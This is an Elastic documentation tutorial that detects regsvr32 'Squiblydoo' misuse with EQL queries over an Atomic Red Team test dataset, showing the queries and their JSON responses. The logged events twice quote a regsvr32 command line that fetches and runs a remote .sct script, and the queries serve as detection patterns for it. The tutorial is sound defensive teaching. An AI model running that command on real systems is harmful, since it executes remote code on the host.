Example: Detect threats with EQL

This functionality is experimental and may be changed or removed completely in a future release. Elastic will take a best effort approach to fix any issues, but experimental features are not subject to the support SLA of official GA features.

This example tutorial shows you how you can use EQL to detect security threats and other suspicious behavior.

In the scenario, you’re tasked with detecting regsvr32 misuse in Windows event logs. regsvr32 misuse is a known adversary technique documented in the MITRE ATT&CK® knowledge base.

Setup

This tutorial uses a test dataset for regsvr32 misuse from Atomic Red Team. The dataset has been normalized and mapped to use fields from the Elastic Common Schema (ECS), including the @timestamp and event.category fields. The dataset includes events that imitate behaviors related to regsvr32 misuse, as documented by MITRE ATT&CK®.

To get started, download and index the dataset:

  1. Download the normalized-T1117-AtomicRed-regsvr32.json dataset.
  2. Index the data into my-index-000001 with the following bulk API request:

    1. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  3. Use the cat indices API to verify the data was successfully indexed.

    1. GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count

    The API response should show a docs.count value of 150, indicating 150 documents were indexed.

    1. health status index docs.count
    2. yellow open my-index-000001 150

Get a count of regsvr32 events

Since you’re looking for regsvr32 misuse, start by getting a count of any events associated with a regsvr32.exe process.

The following EQL search API request uses an EQL query to retrieve a count of events with a process.name of regsvr32.exe. The query starts with the any where keywords, meaning the query can match events of any event category.

  1. GET /my-index-000001/_eql/search?filter_path=-hits.events
  2. {
  3. "query": """
  4. any where process.name == "regsvr32.exe"
  5. """,
  6. "size": 200
  7. }

Uses the ?filter_path=-hits.events query parameter to exclude the hits.events property from the response. The hits.events property contains the document source for any matching events. This request is intended to retrieve a count of events only.

Uses an EQL query to match events with a process.name of regsvr32.exe.

Returns up to 200 events or sequences matching the EQL query.

The request returns the following response, indicating that 143 events match the query.

  1. {
  2. "is_partial": false,
  3. "is_running": false,
  4. "took": 60,
  5. "timed_out": false,
  6. "hits": {
  7. "total": {
  8. "value": 143,
  9. "relation": "eq"
  10. }
  11. }
  12. }

Check for command line artifacts

Based on your previous query, you know regsvr32 processes were associated with 143 events. But how was regsvr32.exe first called? And who called it?

regsvr32 is a command-line utility so it may help to narrow your results to processes where the command line was used.

Update the previous EQL query as follows:

  • Change the any keyword to process. This limits matches to events with an event.category of process.
  • Add the and process.command_line.keyword != null condition to match only events with a command line value.

You’ll also need to remove the filter_path=-hits.events query parameter. This lets you retrieve the document source for any matching events.

  1. GET /my-index-000001/_eql/search
  2. {
  3. "query": """
  4. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  5. """
  6. }

The query matches one process event. The event has an event.type of creation, indicating the start of a regsvr32.exe process.

Based on the process.command_line value in the response, regsvr32.exe used scrobj.dll to register a script, RegSvr32.sct. This fits the behavior of a “Squiblydoo” attack, a known variant of regsvr32 misuse.

The response also includes other valuable information about how the regsvr32.exe process started, such as the @timestamp, the associated user.id, and the process.parent.name.

  1. {
  2. "is_partial": false,
  3. "is_running": false,
  4. "took": 21,
  5. "timed_out": false,
  6. "hits": {
  7. "total": {
  8. "value": 1,
  9. "relation": "eq"
  10. },
  11. "events": [
  12. {
  13. "_index": "my-index-000001",
  14. "_type": "_doc",
  15. "_id": "gl5MJXMBMk1dGnErnBW8",
  16. "_score": null,
  17. "_source": {
  18. "process": {
  19. "parent": {
  20. "name": "cmd.exe",
  21. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  22. "executable": "C:\\Windows\\System32\\cmd.exe"
  23. },
  24. "name": "regsvr32.exe",
  25. "pid": 2012,
  26. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  27. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  28. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  29. "ppid": 2652
  30. },
  31. "logon_id": 217055,
  32. "@timestamp": 131883573237130000,
  33. "event": {
  34. "category": "process",
  35. "type": "creation"
  36. },
  37. "user": {
  38. "full_name": "bob",
  39. "domain": "ART-DESKTOP",
  40. "id": "ART-DESKTOP\\bob"
  41. }
  42. }
  43. }
  44. ]
  45. }
  46. }

Check for malicious script loads

You now know that a regsvr32.exe process was used to register a potentially malicious script, RegSvr32.sct. Next, see if regsvr32.exe later loads the scrob.dll library.

Modify the previous EQL query as follows:

  • Change the process keyword to library.
  • Replace the process.command_line.keyword != null condition with dll.name == "scrobj.dll.
  1. GET /my-index-000001/_eql/search
  2. {
  3. "query": """
  4. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  5. """
  6. }

The query matches an event, confirming scrobj.dll was later loaded by regsvr32.exe.

  1. {
  2. "is_partial": false,
  3. "is_running": false,
  4. "took": 5,
  5. "timed_out": false,
  6. "hits": {
  7. "total": {
  8. "value": 1,
  9. "relation": "eq"
  10. },
  11. "events": [
  12. {
  13. "_index": "my-index-000001",
  14. "_type": "_doc",
  15. "_id": "ol5MJXMBMk1dGnErnBW8",
  16. "_score": null,
  17. "_source": {
  18. "process": {
  19. "name": "regsvr32.exe",
  20. "pid": 2012,
  21. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  22. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  23. },
  24. "@timestamp": 131883573237450016,
  25. "dll": {
  26. "path": "C:\\Windows\\System32\\scrobj.dll",
  27. "name": "scrobj.dll"
  28. },
  29. "event": {
  30. "category": "library"
  31. }
  32. }
  33. }
  34. ]
  35. }
  36. }

Determine likelihood of success

In many cases, malicious scripts are used to connect to remote servers or download other files. If this occurred, the attack might have succeeded.

Use an EQL sequence query to check for the following series of events, in order:

  1. A regsvr32.exe process, which could have been used to register malicious scripts as scrobj.dll
  2. A load of the scrobj.dll library by the same process
  3. Any network event by the same process, which could indicate the download of a remote file

To match, each event in the sequence must share the same process ID, recorded in the process.pid field.

Based on the command line value seen in the previous result, you can expect to find a match. However, the sequence query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior while still being generic enough to detect similar threats in the future.

  1. GET /my-index-000001/_eql/search
  2. {
  3. "query": """
  4. sequence by process.pid
  5. [process where process.name == "regsvr32.exe"]
  6. [library where dll.name == "scrobj.dll"]
  7. [network where true]
  8. """
  9. }

The query matches a sequence, indicating the attack likely succeeded.

  1. {
  2. "is_partial": false,
  3. "is_running": false,
  4. "took": 25,
  5. "timed_out": false,
  6. "hits": {
  7. "total": {
  8. "value": 1,
  9. "relation": "eq"
  10. },
  11. "sequences": [
  12. {
  13. "join_keys": [
  14. 2012
  15. ],
  16. "events": [
  17. {
  18. "_index": "my-index-000001",
  19. "_type": "_doc",
  20. "_id": "gl5MJXMBMk1dGnErnBW8",
  21. "_version": 1,
  22. "_seq_no": 3,
  23. "_primary_term": 1,
  24. "_score": null,
  25. "_source": {
  26. "process": {
  27. "parent": {
  28. "name": "cmd.exe",
  29. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  30. "executable": "C:\\Windows\\System32\\cmd.exe"
  31. },
  32. "name": "regsvr32.exe",
  33. "pid": 2012,
  34. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  35. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  36. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  37. "ppid": 2652
  38. },
  39. "logon_id": 217055,
  40. "@timestamp": 131883573237130000,
  41. "event": {
  42. "category": "process",
  43. "type": "creation"
  44. },
  45. "user": {
  46. "full_name": "bob",
  47. "domain": "ART-DESKTOP",
  48. "id": "ART-DESKTOP\\bob"
  49. }
  50. }
  51. },
  52. {
  53. "_index": "my-index-000001",
  54. "_type": "_doc",
  55. "_id": "ol5MJXMBMk1dGnErnBW8",
  56. "_version": 1,
  57. "_seq_no": 5,
  58. "_primary_term": 1,
  59. "_score": null,
  60. "_source": {
  61. "process": {
  62. "name": "regsvr32.exe",
  63. "pid": 2012,
  64. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  65. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  66. },
  67. "@timestamp": 131883573237450016,
  68. "dll": {
  69. "path": "C:\\Windows\\System32\\scrobj.dll",
  70. "name": "scrobj.dll"
  71. },
  72. "event": {
  73. "category": "library"
  74. }
  75. }
  76. },
  77. {
  78. "_index": "my-index-000001",
  79. "_type": "_doc",
  80. "_id": "EF5MJXMBMk1dGnErnBa9",
  81. "_version": 1,
  82. "_seq_no": 24,
  83. "_primary_term": 1,
  84. "_score": null,
  85. "_source": {
  86. "process": {
  87. "name": "regsvr32.exe",
  88. "pid": 2012,
  89. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  90. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  91. },
  92. "@timestamp": 131883573238680000,
  93. "destination": {
  94. "address": "151.101.48.133",
  95. "port": "443"
  96. },
  97. "source": {
  98. "address": "192.168.162.134",
  99. "port": "50505"
  100. },
  101. "event": {
  102. "category": "network"
  103. },
  104. "user": {
  105. "full_name": "bob",
  106. "domain": "ART-DESKTOP",
  107. "id": "ART-DESKTOP\\bob"
  108. },
  109. "network": {
  110. "protocol": "tcp",
  111. "direction": "outbound"
  112. }
  113. }
  114. }
  115. ]
  116. }
  117. ]
  118. }
  119. }